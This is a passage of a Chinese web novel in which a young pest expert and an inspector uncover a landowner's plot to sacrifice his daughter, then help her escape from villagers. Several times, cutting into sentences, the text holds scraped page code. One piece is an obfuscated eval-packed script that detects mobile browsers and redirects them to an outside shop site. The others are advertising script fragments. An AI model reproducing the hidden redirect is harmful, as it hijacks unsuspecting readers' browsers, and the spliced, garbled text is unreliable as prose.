但献祭二字，太过于沉重，听得乔元有些心惊，她轻声问道：“如何献祭。” 严绍苦涩道：“本月初十是阴王冥诞，在那日将雁姐儿送去阴王祠中，引血入祠，方得消除阴王之怒。” 乔元愤然而起，“荒唐，神魔之说本就不可信，怎能只凭方士之言，就断送一人性命。” 严绍也是满目哀伤，“雁姐儿是我最小的女儿，我何尝忍心将她送至阴王祠内，故让长子长兴带着她外出躲避。并四处寻人来治这地蚕之害，奈何皆不得成。好容易找到二位仙师……” 乔元知他接下来想说什么，这地蚕除去一批，又有一批出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732590|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在地里，生生不息无穷无尽，令人望而生畏。 但乔元心里清楚，这些蛴螬不过是有人故意放入，用来混淆视听的小把戏，她起身道：“若员外信得过，我定设法帮你治好这虫害。” 严家父子的眸光皆是一亮，乔元之言对他们来说，无疑是能抓住的最后一根稻草，“仙师所言当真，真能治好这地蚕之害！？” 若真如此，触犯阴神之怒的说法便可不攻自破，雁姐儿也得以免去以身献祭之苦。 乔元答道：“自当尽力。” 严家父子俩对视一眼，严元向扶着严绍下榻来，二人直接跪在乔元面前谢她。 乔元忙侧身避开，好说歹说，二人才从地上起来。 从严绍屋里出来，乔元便快步往制茶麸水的院落走去，江稷跟在她后头，面上若有所思。 眼看乔元即将拐过拐角，消失在回廊后，江稷出声叫住她，“乔元。”。 来此多日，除了一开始叫她乔姑娘，在众人面前，江稷向来都是称她为‘师妹’。冷不丁叫她大名，乔元顿步回头，一时有些不适应。 江稷带她避过仆役，走到花园一角。 花园里头只他们二人，凌霄的藤蔓层层叠叠，投下一片阴翳，像一堵厚实的围墙，挡住二人的身形，江稷将乔元拉至身侧，垂眸问她，“你可信他所说？” 乔元在屋内听得事情全貌的时候，就将疑点想过了，严绍的话从逻辑上推敲起来没有任何问题，她看向江稷道：“听来似是没什么问题，你可是有何发现？” 江稷掩住多余的思绪，不正面回答，只道：“这几日你不论去何处，记得都要派人知会我一声，初十马上便至，严府怕是要不太平。” 乔元知晓事情轻重，她应道，“好。” 二人一时默默无语，乔元想了想，又问道：“江稷，你今晚可有空？” 江稷回首，“何事？” 乔元道：“这地蚕既同阴神教有关，想必是阴神教派人放置此处的，只要能抓到那人，一切问题就能迎刃而解。” 江稷本就有这打算，他道：“夜黑风高，你不便出行，此事便交由我来办。” 乔元却没有同江稷预料中一般答应，她道：“地蚕不会无故出现，我问过管家，他说自己早就问过看守的仆役，不曾见到有人接近田地，这事儿不简单，我得同你一起去。” 见江稷没有答应，乔元又补充道：“虫害我比你懂些，你必得带上我。” 少女满脸认真，似是只要他不答应，她便是偷跟着也要去，江稷别开眼，无奈应声，“好罢。” 乔元露出笑容，“多谢。若没有其他事情，我便先去制茶麸水的院子了。” 江稷同她颔首，没有再阻拦她。 第一日做浓度实验的时候，乔元就记下了茶麸水各个浓度的效果，想要让地上这一批新的蛴螬快速死亡，只能暂时提高茶麸水的比例。 乔元到了院子里，要求仆役们将原本一份原液兑五份水，提高到了一份原液兑三份水，且必须要在入夜前洒入地里。 前段日子的茶麸水在地里还有残留，按理说不应该这么快就再施第二批，但事出紧急，她必须要在初十之前将地里的蛴螬尽量除尽。 做完这一切，乔元回到自己屋内，静静等着夜晚到来。 33. 蛴螬（七） 亥时正刻，乔元屋外的窗棂被准时敲响。 打开窗户，江稷已经站在了窗台下头。不同于平时的装扮，他今日身着黑衣，头发被全数扎入发冠里，宽肩劲腰，惹得乔元多看了好几眼。柔和的月光洒在江稷身上，乔元恍惚间想起在河滩边初见他那日。 见乔元在窗边迟迟不动，江稷带着疑惑道：“乔元？” 乔元这才回过神来，带着歉意道：“来了。” 她踩着提前放在窗台边的矮凳，迈出窗户，窗下有些高，乔元对着江稷道：“烦请让开些。” 江稷会意，往后退了两步留出空间。 乔元顺势直接往下跳，窗台下面是草地，她不怕磕到自己。 双腿和地面碰撞的一瞬间有些发麻，乔元揉了揉脚踝，从地面上站起，回首对着江稷道：“走罢。” 江稷落后她几步，怔松片刻后旋即跟上。在乔元看不见的地方，见她从窗台上跳下有些向前的双手，被他重新背到身后。 已是深夜，怕打草惊蛇，二人从羊肠小道往严家田地的西角走去。 那里有一处小丘，小丘不高，但杂草茂盛易于藏人，二人找了个适宜的地方窝在上头，便开始安静等待阴神教的人出现。 一个时辰悄然过去，田地上除了偶尔略过的风声，和夜鸦的几声啼叫，没有任何异常。 乔元的双眼皮不觉开始上下打架，为了让自己清醒些，她压低声音主动找江稷说话。 “江稷，你是怎么找到严家大朗和三姑娘的？” 江稷看着比白天更精神些，目光如鹰隼一般锐利，他抬眸看了眼身侧不住打哈欠的乔元，抛出一句，“我并未找到。” 正抬手掩唇的乔元眼睛一下瞪得老大，像是意识到什么，她道：“你是诈他们的？” 江稷缓缓点头。 “那块玉佩呢？”乔元追问道，严元向说是他大哥的，东西定错不了。 “从严元兴房里拿的。”江稷很是随意道。 那房间带了锁，他为了不伤锁头留下痕迹，进去颇费了一番功夫。 师兄师妹的戏剧演习惯了，话到此处乔元才骤然想起，自己身侧这位可是货真价实的巡检使。 刑讯审问，缉拿逃犯可都是他的强项，如此看来，小小一块玉佩的确算不上什么大事。 乔元看向他的眼神带了一丝好奇，“那你是如何得知此事同阴神教有关的？” 江稷没有回答。 知晓自己问到了不该问的，乔元换了个姿势，又道：“你今日问我的问题，我晚间又想了一遍，你说，严绍为何一开始不同我们说阴神教的事情。” “是因为我们只是除虫的工具，不必知晓？还是因为别的？”隐隐还有其他念头在乔元脑中闪过，但那念头太快，未等乔元抓住便消失了。 此时已近子时，周围依旧没有任何异动。 乔元迟迟没等到江稷的回答，她只觉得上下眼皮越来越重。 风吹树叶的沙沙声是最好的催眠曲，江稷听得从身侧传来“啪嗒”一声，他偏头一看，乔元已经侧躺在草地上了，均匀的呼吸声自她鼻尖传出。 这段时日在严家吃好喝好，乔元的面颊已经不似初见时消瘦，面上带了几分红润。 盯着她看了半晌，鬼使神差的，江稷挪动了一下自己所在的位置，拂向乔元面颊的夜风被他的身躯阻挡在外。维持姿势不动，江稷继续目不转睛地盯着严家田地的方向。 一夜无语。 日光微曦时，乔元被四周传来鸟鸣声唤醒，她睁开眼，迷糊地想伸了个懒腰。 双手举到一半，她这才恍然忆起，自己应该是同江稷在小丘上等着抓放蛴螬的人，怎的睡着了。 擦了擦嘴角，乔元抬眸寻找江稷的身影。 江稷的身形不管在何处都很是突出，乔元略略扫了一眼，便见他在小丘下不远处。稍微拾掇了一下自己，她起身往江稷所在的方向走去。 正当她在江稷身后整理措辞，江稷似是料到她来一般，骤然起身回头看了她一眼。男人唇角下垂，面带郁色，愣谁都能瞧出他心情不佳。 乔元下意识问道，“出事了？” 江稷给她让开一个位置，乔元顺势蹲下看着田地边缘，她甫一朝前看，地表上三五成群的蛴螬便映入眼帘。 …… 乔元的脸顿时同江稷一样臭。 江稷一夜没合过眼，守着乔元同田地直到晨曦十分，直到日头从云层里出来，树叶长久不再晃动，他才从风口上起身，想下到平摊的地方松快一下手脚。 却没料到，他一下至地面，便见田地里满是地蚕。 他见过施了茶麸水后地蚕的样子，根本不会同现在这般生龙活虎。但以他之能，必不可能有人在他眼皮子底下放入地蚕还不被他发觉。 江稷心口怄着一口气，脸色黑的像锅底。 乔元自是瞧出了江稷脸上的怒气，但这事过于离奇，反倒让她生了几分兴趣。乔元在田地周围转悠着，冷静地思考着嫌犯的可能性。 新一批蛴螬的出现了，意味着对方明确知道他们昨日施放了茶麸水。 仆役施水的时候没有避着任何人，这样说来涌泉村的每一个人都有嫌疑。 但乔元略一思索，就率先排除了大部分涌泉村的村民。 假设阴神教的线人在村民之中，若他们知晓茶麸水的用途，那在第一次施水的次日，新的蛴螬就会出现。 同样的，佃农们在茶麸水入地几日后才来闹事，言辞中依旧认为地里蛴螬为患，恰恰佐证了佃农们并不知道严家地里曾死过一批蛴螬的观点。 排除村民和佃农，那剩下的范围就格外清晰明了。 特别是她昨日刚吩咐仆役加大浓度，今早地里就出现了新一批蛴螬，说明对方很清楚她昨日调整了茶麸水的浓度，他需要趁着地里的地蚕尽数死亡之前，补充好新的一批。 这样看来，嫌疑最大的便是在院内制茶麸水的管家同仆役，即便嫌犯可能不是他们，但只要审问他们昨日同谁接触过，便能找到蛛丝马迹。 将自己的逻辑捋的更合理些，乔元找到江稷，把自己的猜测同他说了清楚。 江稷边听边点头，末了却说了一句同这一切无关的话，“你可拜入了周进门下？” 乔元想了无数个可能的回答，硬是没猜到他的脑回路会如此与众不同，她噎了一下，还是答道：“周知县不过是瞧着我能帮金台镇除去蚜害，这才同我有些往来，正经说来，我并非他门下之人。” 江稷的面色明显好了不少，他道：“既如此，待此间事了，你可愿为我做事？一月五块银锭，月初就给绝不拖欠。” 乔家的具体情况在事发第二日楚津就同他汇报过了，一月五块银锭，他不信乔元不动心。 果然，乔元在听完这个价钱后，眼里的心动骗不了人，但她略想想，还是咬牙拒绝了江稷的提议。 收益越大就意味着风险越大，她的价值，只在昆虫一项，那江稷是因为什么，才会给她开到这般高到令人咋舌的价格。 总不能是因为她能除虫害罢，乔元有些摸不准。 江稷也不恼，他看着乔元道：“今日是我唐突，若来日你考虑好了，随时找我，这话一直作数。” 乔元点头示意自己知晓，才道：“那今日之事？” 还有她方才的猜测 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，他还没有给过任何正面回答。 江稷掸掸衣角，随意道：“你所言不错，但这其中还少了一个可能。” 见乔元面上带着疑惑，江稷随意摘了一根地上刚抽芽的莠草，接着道：“还有，这地蚕若不是从地上来，那便只能从天上来了。” 他这两句话说的没头没尾，另一种可能又是什么？蛴螬怎么会从天上来？明明是他带着她入的局，怎的这几番对话下来，像是一场对她的试炼。 乔元抬眼看了看因着朝阳映照有些泛红的天际，厚厚的云层还未褪去，层层叠叠排布在涌泉村上空，像是给整个村子围上了一块绯红的幔帐。 天上？ 怎么来？ 坐飞机飞过来？ 乔元正想出口反驳，她的脑海里却突然冒出一个很是无厘头的想法。 如果这些蛴螬真的是从天上来呢。 这里没有飞机，但是有鸟，若是通过鸟类来运送蛴螬，是绝对不会令人发觉的。 见乔元因他的话在原地认真思考，江稷没打扰她，只顺着小道摘着路旁的莠草，耐心等待乔元回过神来。 静默思考片刻后，乔元又重新把这个想法否决了，先不论鸟的行为不固定，这么多蛴螬，得多少只鸟才能送得过来，如此大的动静，一定会被昨晚守夜的江稷发现。 眼看日头越升越高，再不走便要被村民发现了，乔元只好先放弃思考这两件事。 当务之急，是得尽快回到严家，免得惹人生疑。 二人回程同样走的来时的小道，还未至严府门前，纷乱的嘈杂声便传至二人耳中。 乔元同江稷对视一眼，皆在对方眼中看到了一丝意外。 正门是走不通了，江稷带着乔元从偏门翻至严府内，二人回屋换了衣裳，这才施施然走出屋内。 严府内乱哄哄的，身强力壮的仆役们大都被召集到了前院，找不到人问询，乔元只得找了在院内负责洒扫的老妪，询问发生何事。 老妪见是仙师垂问，忙对乔元行了一礼，这才道：“不知是谁走漏了三姑娘回来的消息，此刻佃农们正聚在外院，纷纷要员外将三姑娘交出来呢，亏得员外这些年对他们如此之好，当真是作孽！” 严元雁回来了？ 一听到这个消息，乔元顾不上同老妪道谢，三步并作两步，忙朝着严绍所在的主院跑去。 严元雁如何能回来，她若是回来，必定摆脱不了被众人送去阴王祠的命运。花朵一般的年纪要为这些虚无缥缈的东西献出生命，她绝对不会允许这一切发生。 乔元快步跑着，平日里觉得谈笑间便能走过的长廊，此刻却像在往远处无穷无尽延伸，不论她如何努力奔跑，都跑不到尽头。 跑着跑着，乔元的步伐逐渐慢了下来。 或者说，她下意识的让自己慢了下来。 她的大脑在飞速思考着，思考的速度拖慢了她的脚步，脑中的答案呼之欲出。 严元雁为什么要回来，她是同她大哥一同去外地躲避被献祭的命运，有什么东西值得她回来。 是严绍生病的消息？她想回来尽孝？ 但若是真为了保护女儿，严绍生病后要做的第一件事，就是不让任何人将消息透露给在远方避祸的女儿，更无可能派人将消息告知她。 除非—— 一个可怕的念头在乔元脑中出现。 江稷说的，她的推断还少了另一个可能。 乔元停下脚步，她想她猜到了他说的那个可能。 昨日，知道她要尽力除去虫害的不只院内的管家同仆役，她的潜意识让她忽略了两个人。 严氏父子，严绍、严元向。 34. 蛴螬（八） 怀疑的种子一旦种下，不合理的地方便会越来越多。 乔元没有再往前，她的呼吸有些急促，思考的越多，人性的恶意便愈加澎湃地向她袭来，她干呕着扶墙蹲在一旁，春日里日光和煦，可乔元并不觉得暖和，相反，阵阵寒意从她的骨头缝里透了出来的。 乔元觉得周遭安静的可怕，似乎只能听到自己的喘息声。 如果她的推断全部正确，乔元现在只想知道，严元雁是知情者，还受害者。 —— 跟着仆役指引一路走来的江稷，终于在花园后的长廊下见到了缩在角落的姑娘。 乔元整个人看上去有些蔫吧，见他来了，也不做声，只呆呆地看着他。 江稷见着她的目光，主动同她解释道：“方才有位老妪来找我，说见你似有些不适，烦请我去看看。” 乔元抿唇道：“劳烦你了。” 倒是第一次见乔元这么萎靡，江稷在她面前半蹲下，认真询问道：“可是身子有何处不适？” 乔元摇了摇头。 “那便是有人给你气受了？” 乔元照旧摇头。 这是江稷第一次猜女儿家的心思，连猜两次不中，他一时不知该接什么话。 江稷无言，乔元却有话想问他，她目光毫不避讳地直视着他，眼神里带着笃定，“江稷，是严绍对不对？” 乔元没有再多说什么，她知晓江稷明白她的意思。 二人的距离很近，乔元的话很轻，轻到就像是贴着他耳边说的。 江稷只觉得耳边像是被人在用羽毛挠着，有些痒，但他面上却没有显露出任何蛛丝马迹。 他缓缓点头，乔元心中的石块也终于落了地。 她深深吐出一口浊气，那便是了。 既知始作俑者，那她的目标便不再是除虫这么简单了，她一定要揭穿严绍的真面目。 重新调整了一下呼吸，乔元朝着江稷笑笑，“师兄，我腿麻了，能烦你扶我起来吗？” 江稷起身让出位置，将长臂伸至乔元面前，“自然。” 在原地缓了一会儿，觉着自己好上了不少，乔元这才抬步同江稷结伴去往严绍处。 主屋的房里弥漫着一股浓重的药味，严绍还是同昨日一般半倚靠在床上，在屋内的茶案边，站着一位身姿窈窕的姑娘，此刻正将药壶里的药汁倒入碗中。 见乔元二人前来，严绍率先出声道：“二位仙师来了。” 站在茶案旁的姑娘闻言也回头朝乔元看来，凭着她和严绍有五分像的样貌，乔元在见她的瞬间便能断定，是严元雁。 严元雁的眉宇间笼着淡淡的愁色，眼眶有些红肿，像是才哭过。见有外人来，她急忙掩藏好自己的情绪，这才对着乔元二人行礼道：“仙师。” 同她回礼过后，乔元假意朝严绍问道：“这位是？” 严绍沉闷的脸上这才露出一丝笑意道：“这位便是我独女，元雁。” 乔元面上先是吃惊，紧接着很是着急道：“严员外，你怎的能让三姑娘回来，后日便是初十了！” 似是想到了什么，乔元在这句话后，未等严绍回答，便又羞愧道：“都怪我学艺不精，没有传承师傅他老人家的技艺，费了这么些时日，连这小小的虫害都除不完全。” 严绍听得乔元将原因归咎于自己，他道：“此时同仙师无关，是下头的仆役说漏了嘴，叫她知晓我被人气得下不来床，这才不顾危险赶了回来。” 乔元闻言，对严元雁赞叹道：“三姑娘当真纯孝。” 严元雁柔声谢过后，在乔元的目光中，将手中的汤药端至严绍面前，见他一饮而下，方才递上帕子接过药碗。 严绍将唇边的药渍抹净，这才道：“二位仙师今日来得这般早，可是有话要同我说？” “这……”乔元看了一眼江稷。 江稷接替她出声道：“今日来寻员外，只因这田地里，再度出现了新的地蚕。” 严绍闻言，阖眼哑声道：“仙师的意思是，这地蚕，是除不尽了？” “是。”江稷简单吐出一字。 一直在茶案旁听着几人说话的严元雁，听到江稷如此肯定的回答，拿着药碗的手一抖，上好的青瓷药碗瞬间在地上碎裂成块。 严绍在床榻上急道：“雁姐儿，可有伤到哪里？” 严元雁强打起精神道，“未曾。” 严绍这才放松下来，他道：“这点子碎瓷片便叫仆役来收拾，你今日也累了，先回去歇息罢。” “是。”严元雁对着众人行完一礼，这才先出了门去。 房里只剩下三个人，严绍身子摇晃着从床榻上下来，“仙师，这地蚕，当真无法除尽了吗？” 乔元道：“严员外，能试的办法我们都试过了，可你家这田地，真像是染上了阴神王的怒气一般，这地蚕是一批又一批的冒出来，我同师兄实在是无法了。” 见严绍整个人都很是颓然，乔元道：“算着日子怕是来不及了，我方才来的时候，便听得外头佃农们又聚集起来在门口闹事了，员外还请早些将三姑娘送走罢。” 严绍接连点头道：“对对，我这便派人打点，先将雁姐儿送走。” 又同严绍说了几句，乔元二人这才退出主屋。 在回去路上，乔元甚至都觉得自己同江稷是不是都推断错了，严绍的慈父情怀的表现太真实了，真实到不像演的。 “陪你演了这一出戏，接下来你想如何做？”江稷问道。 “我得去找严元雁。”乔元道。 严绍是只老狐狸，但严元雁不是，从她方才的表现来看，严元雁的心理素质远没有严绍高。 江稷道：“我不便前去，先回去等你消息。” 二人于主院门口分别，乔元朝着严元雁所在的院落走去。 严家三子都有着各自的院子，严元雁的院子较两个哥哥的小一些，地方也偏些，乔元踏入的时候严元雁正坐在院子里的海棠树下，痴痴的望着四方的天。 “三姑娘，仙师来了。”经过身侧丫头的提醒，严元雁这才见到了乔元。 她用力扯出点点笑意道：“仙师怎的来我这儿了，可是爹有什么要仙师交代的？” 乔元道：“并非员外有什么交代，是我私心觉得对不住姑娘，这才来见姑娘一面。” “对不住？仙师为何如此说？”严元雁迷惘道。 乔元道：“若非我能力不够，无法将这地蚕除去，又怎会让三姑娘如此担惊受怕。好在方才员外说，他已经在准备车架想姑娘先送出去了，员外慈父情深，连我都看得出来，他是当真疼惜姑娘。” 严元雁低头有些自嘲道：“我爹，他是疼我的。” 乔元敏锐察觉到严元雁的情绪不对，她趁热打铁接着道：“如今正门口有好些人正在等着姑娘，姑娘早些收拾早些走罢，免得夜长梦多。” 严元雁看向乔元，只一会儿的工夫，她的眼里便盛满了泪水，“仙师，你说我还能去哪儿呢？” “天高海阔，姑娘自是想去哪儿便能去哪儿。”乔元道。 “不对，我哪儿都不能去了。”严元雁的声音有些颤抖，“不论我去到何处，我这下半辈子都会在惊吓中度过，我会害怕被带回来，会害怕再度受到阴神王的诅咒，更会害怕连累家人。” 接着，严元雁像是自言自语般道。 “我爹说，他只要我活着。他同我说，今日让哥哥将我送走之后，我此生都不要再回来了。” “可他又说，我走了之后，两个哥哥这辈子便完了。不只是他们，连整个严家都会成为涌泉村的人人喊打的对象。但他说，这些都不重要，只要我能好好活着，他们的心愿便能得以了却。” “可是，为什么是我呢？仙师，为什么偏偏是我呢？”严元雁拉着乔元的手，话语里满是急切，她迫切希望乔元能回答她，给她一个她想要的答案。 乔元沉默了，严元雁的话语同行为，已经明晃晃的在告诉她，她是受害者。 严绍一边给予严元雁极大的自由，一边又用亲情绑住她，告诉她只要这么做了，家里所有人都会为她的自由而付出代价。 从小在这样家庭中成长的严元雁，会有严重的撕裂感，生物的本能让她应该好好活下去，可道德的枷锁会将她牢牢困守在这里，让她一辈子都没有办法同严家人割裂开来。 现在的严元雁就像严绍手里的风筝，线在他手中，是进还是退，皆在他股掌之间。 从乔元口中得不到答案，严元雁任由泪水从眼眶滑落，她满是绝望地说了一句话，“仙师，我怕死，可我更怕活。” 这一句话像是她的悲歌，她明明什么坏事都没有做过，却因为一些无羁的神魔志怪，最终要献出自己的生命。 乔元反握住严元雁冰凉的双手，她盯着她的眸子，一字一顿道：“三姑娘，别告诉你家人，你现在便收拾东西快走。” 严元雁还没回过神来，“现在？” “对，带上足够 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多的银钱，现在便走。”乔元的语气甚至带上了几分命令。 见严元雁迟迟未动，乔元直接叫了侍候在她身侧的小丫头，“你若还想多过几年舒服日子，即刻便去将你家姑娘所有的值钱东西都收拾出来，记得，要快！” 小丫头看了看泪眼朦胧的严元雁，又看了看乔元，她咬了咬牙，领命而去。 东西不在多，在精，小丫头动作很快，没一会儿便将东西都收拾齐整。 乔元看着严元雁，“三姑娘，今时今日你必觉自己已是无路可走，但这世间的路不是这般非黑即白的。你只消走出去，见过这人世间，便能重新窥得今日之事的全貌。待到那日，你必能将这一切释怀，再不会活在此间阴影之下。” 严元雁似懂非懂的看着她，乔元却也不在乎，只要她今日能将严元雁送出去，来日严元雁必定能理解她今日这一番话的用意。 严府里头的人都不能再用，乔元先在前面探路，让严元雁同她那个小丫头跟在后头，一行三人鬼鬼祟祟地往偏门走去。 想往偏门走，必得路过中央的花园。府内的仆役大都集聚在前院，乔元走这段路的时候便放心了些。 眼瞧着要走到今晨路过的回廊了，突然间，自花园后侧的偏门处传来一阵脚步声。 乔元甚至连思考的时间都没有，下意识便先将严元雁先推到了姿态嶙峋的湖景石后头。冲她比了个手势道：“别出声。” 见严元雁应下，乔元这才壮着胆子往偏门的方向走了几步。 才走几步，乔元便听得前头传来不少男人的声音。 “牛哥的法子当真好用，让那些人在前头堵着，我们直接从后头翻进来，省了不少事儿还不用同他们起口角。” “这是自然，你也不看看你牛哥多有出息。” “这回严绍家那姑娘是跑不掉了，你们几个走这条路，我们走这边。” “咱们哥几个赶紧找到那姑娘，将她抓来送去阴王祠，省的夜长梦多。” “正是，正是。” 听得男人们在后头分配路线同任务，乔元紧张的手心冒汗，怕惊动他们，她一步步往后退回到湖景石后头，冲严元雁打了个手势。 严元雁同她的丫头同样紧张的小脸发白，二人此时已经六神无主，只知道跟着乔元，往后退回去。 不论是主院还是严元雁的院子都已经不能再待了，乔元直接引着二人往自己住的院落走去。江稷还在那儿，他定会有办法。 乔元几人拿着东西，脚程算不上快，严家就这么点大，且不清楚进来的佃农有几人，她们不敢贸然前进，只得躲躲藏藏地往前走。 佃农们在严家院里四处乱走，眼看迎头就要碰上几个，为了躲开他们，乔元几人只得猫腰躲在院子后头的水缸边上。 几个男人看着很是精瘦，他们仗着人多，将每间屋子都翻看过去，确定里头没人，这才呼朋唤友往别的远子走去。 想来他们觉得姑娘应该在躲在屋里，并不会对外头的东西起疑。乔元轻吐一口气，正想起身，突然飞来了一块石头，砸到了几人面前的水缸里。石头不大，但石块砸入水缸溅起的水花却吓了小丫头一跳，本来就心神紧绷的她，控制不住地惊声尖叫了起来。 尖叫只有一瞬，但足以被方才离开的男人们听到，佃农们的笑声同急切的话语声传来。 “牛哥你听，我没说错罢，我就说方才瞧见那水缸后头似是藏着人。” “还真被你小子算到了，听声还是个姑娘。走，快去看看，看是不是那三姑娘。” 闻言，严元雁主仆二人的身子都有些颤抖，乔元也好不到哪里去，几乎是在男人们说话的瞬间，她拉着严元雁起身就往江稷的住处跑。 后头有眼尖的人一眼便瞧见了严元雁，忙便指着乔元几人道：“牛哥，三姑娘，中间那个是严家三姑娘！” 牛大没想到三姑娘真在此处，他急道：“愣着作甚，还不快追！” 跑过精心铺就的鹅卵石路，穿过一道道拱门，乔元觉得自己的肺都快炸了，更遑论在家养尊处优的严元雁，跑到后面，几人都有些歪歪扭扭不成样子。但好在只要越过那一扇月洞门，便到了江稷的住处。 明明大门就在眼前，可佃农们的速度显然比她们更快，精瘦的汉子一步顶她们两三步，严元雁身后的小丫头是第一个被抓住的，随后是严元雁，眼看佃农们的手就要落到她身上了。 乔元什么都顾不上了，她直接大喊道：“江稷！救命！” 35. 蛴螬（九） 屋外的响动本就惊到了江稷，几乎是在乔元出声的刹那，他人已飞身而至。 江稷冷冷扫过一眼，便清楚了外头的情势。 来人共有四个，除却反手抓着乔元几人的三个佃农，还有一个双手抱胸候在一旁。 牛大几人算是谨慎，怕院子里还有漏网之鱼，他们翻墙进来时，各自手上都拿着几样趁手的农具。见了江稷，他没有贸然上前，只站在原地扬声道：“兄台，想必你就是严家请来的仙师了，这是我们涌泉村的事，你还是莫要插手的好。” 江稷单边唇角扬起，带着些痞意道：“我师妹还在你们手里，这事儿不管可不行。” 一听这话，牛大便知两方势必得起冲突了。 不过他们怎么说都有四个人，对面不过一个，就是费些时间罢了。 牛大不整那些虚的，江稷拒绝的话音刚落，他抄起家伙就冲了过来。 佃农成日里在田间劳作，有的是力气，牛大不觉得江稷能接住他一下。 可接下去发生的事却出乎他的意料，他甚至未及江稷身边，就觉身体忽的腾空，脑子还没反应过来发，人便已经摔出去了。 在场众人同样没看清江稷是如何动的手，只觉得有一阵劲风掠过，再睁眼看时，牛大已经跌倒在五尺开外了。 这是乔元第一次看到江稷动武，她原本觉得江稷职责在身，较常人能打些是应该，但他这么厉害，却属实超出乔元的预料。 她眼睛亮了亮，忙冲他喊道：“江稷，先救严元雁。” 严元雁是佃农们的目标，同样也是这场荒诞阴谋最无辜的受害者，于情于理都该先救她。 乔元这一喊，后头抓着严元雁的佃农登时吓地往后退了半步。 带头的牛大还躺在地上疼得直不起身来，佃农们分得清主次，他们来的目的就是为了抓这三姑娘送去祭神，如今人已到手，合该快快离开。 “你们殿后，我带三姑娘走。”抓着严元雁的佃农说完就扯着她往外走，剩下两个佃农默契挡在江稷身前，挡住他的去路。 为了给自己壮胆，抓着乔元的佃农正想用她威胁江稷，便见方才还在前头的男人，不知何时已经如鬼魅般游移到他身边。 佃农只看得到男人飘动的衣袂，下一个瞬间，乔元的肩头就是一松，她愣了半拍才抬首看去，就见方才在身后桎梏着她的佃农，已经被江稷压在下头了。 佃农的手臂被扭转成诡异的角度，嚎哭声登时充斥着整个院落，“仙师仙师，不敢了，再也不敢了。” 识时务者为俊杰，身侧两人一瞬间就被制住，抓着小丫头不放的佃农直接松了手，讪讪道：“我放人了，别打我，别打我。” 闻言，江稷也不拖泥带水，他长腿一跨，借力踏上旁边用作观赏的岩石，在空中一翻身，便稳稳落至抓着严元雁的佃农面前。 扯着严元雁正向前狂奔的佃农，只见眼前突然多出一个人来，还未来得及反应，江稷的拳头便带风朝他面上招呼。 眨眼的功夫，四个佃农便全部倒地。 江稷来的及时，乔元连皮都没擦过一块。威胁解除，她赶忙起身小跑至严远雁身前。 严元雁怎说也是正经人家的姑娘，今日被佃农连拖带拽受此惊吓，她眼中噙泪，语无伦次道：“仙师，他们是来抓的我的，抓我的，我是不是逃不掉了，是不是？” 示意江稷处理剩下的事情，乔元扶着严元雁先进了屋。 给她端了杯茶，乔元耐心安抚道：“莫怕，我定会送你出去。” 严元雁整个身子抖的厉害，茶盏几度被她端至嘴边，却又放下，她看向乔元道：“仙师，我好怕，不若我这就去求爹，求他带着全家一齐搬走，这样便能保一家平安了。” 乔元瞧出严元雁眼里的希冀，她不忍破坏她最后的幻想，犹豫着没有出声。 严元雁却是觉得这法子可行，她扶着桌子，摇摇晃晃起身就想往严绍的院子走。 “爹这么疼我，只要我同他说，是了，只要我同他说，他定会带着我们全家人一齐走的。”严元雁边走边自说自话，嗓音里带着说不尽的凄凉。 跟着严元雁的小丫头见状，再也忍不住道：“小姐，若员外当真疼你，为何不早些就带着小姐同哥儿几个一齐逃走。” “那是，那是爹……”严元雁张了张嘴巴，却是再也出不来声。 是啊，为何不早些带着一家人走呢？ 小丫头直白的言语是压死严元雁最后的稻草，她泪眼朦胧，抑制不住地扑在了地上。 这样的心性，就是逃出去也不见得活得下来。 乔元上前将严元雁扳过身来面对她，看着她认真道：“人不能靠他人的施舍活着，你的路便得由你自己做主。你若想活，我今日定送你出去。你若觉得逃不了，我也不会逼你，你就当自己来此处喝了盏茶，回去后，你还是严府尊贵的三姑娘。” 乔元的话让严元雁眼里露出迷惘，她生来便知晓，在这家里头，父兄说什么便是什么。不仅是她，这世间女子都是这般。 父、兄、夫、子，便是女子的天，她们怎能对天有说‘不’的权利。 乔元的话让严元雁觉得混乱，她甚至有些分不清，违逆父亲逃走同被送入阴王祠，到底哪个更可怕。 看出严元雁内心的挣扎，乔元并不觉得自己几句话，就能让被伦理纲常驯化多年的少女醒悟过来。 她紧接着循循善诱道：“一时想不出来，也不打紧。但你若留在这里，初十一到，就再也没有思考的机会了。可今日你只要能逃出去，你便能活在这世间，慢慢去想这一切的对与错。” 严元雁渐渐止住泪水，她看向乔元，目光多了几分坚定，“仙师，你说的对，我得先活下来，才能去想这一切。” 她从地上起身，抓着乔元的手道：“方才这一闹，我爹或许已经发现我不在了，我们得快些走。” 乔元点头，“我去叫上我师兄，让他护着我们一齐走。” 打开门，地上的佃农们已经不见了踪影，院外只有江 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 稷一人斜靠在月洞门上，正在闭眼小憩。 听得开门的声音，江稷睁眼同乔元对视道，“决定好了？” 乔元道：“我们得快些送她走。” 有了江稷在前头掠阵，一路上畅通无阻，几人没费多少功夫便到了侧门。 江稷抬下上头的门栓，需两个人用力抬起的门栓在他手中像个玩物，门栓落下，侧门应声而开。 见生路被打开，严元雁心头松快了一些，她牵着乔元的手，没有任何迟疑地，抬脚踏出这座困守她十几载的院子。 可她脚甫一落地，便听得身后有人道：“二位仙师，这是打算带着小女前往何处？” 是她爹！ 严元雁的身子骤然一僵，她甚至都没有勇气回头。 乔元皱眉，严绍来的比想象中的要快太多。 她立马挡在严元雁身前回身笑道：“员外如何来了，我同师兄正想带着三姑娘去外头逛逛呢。” 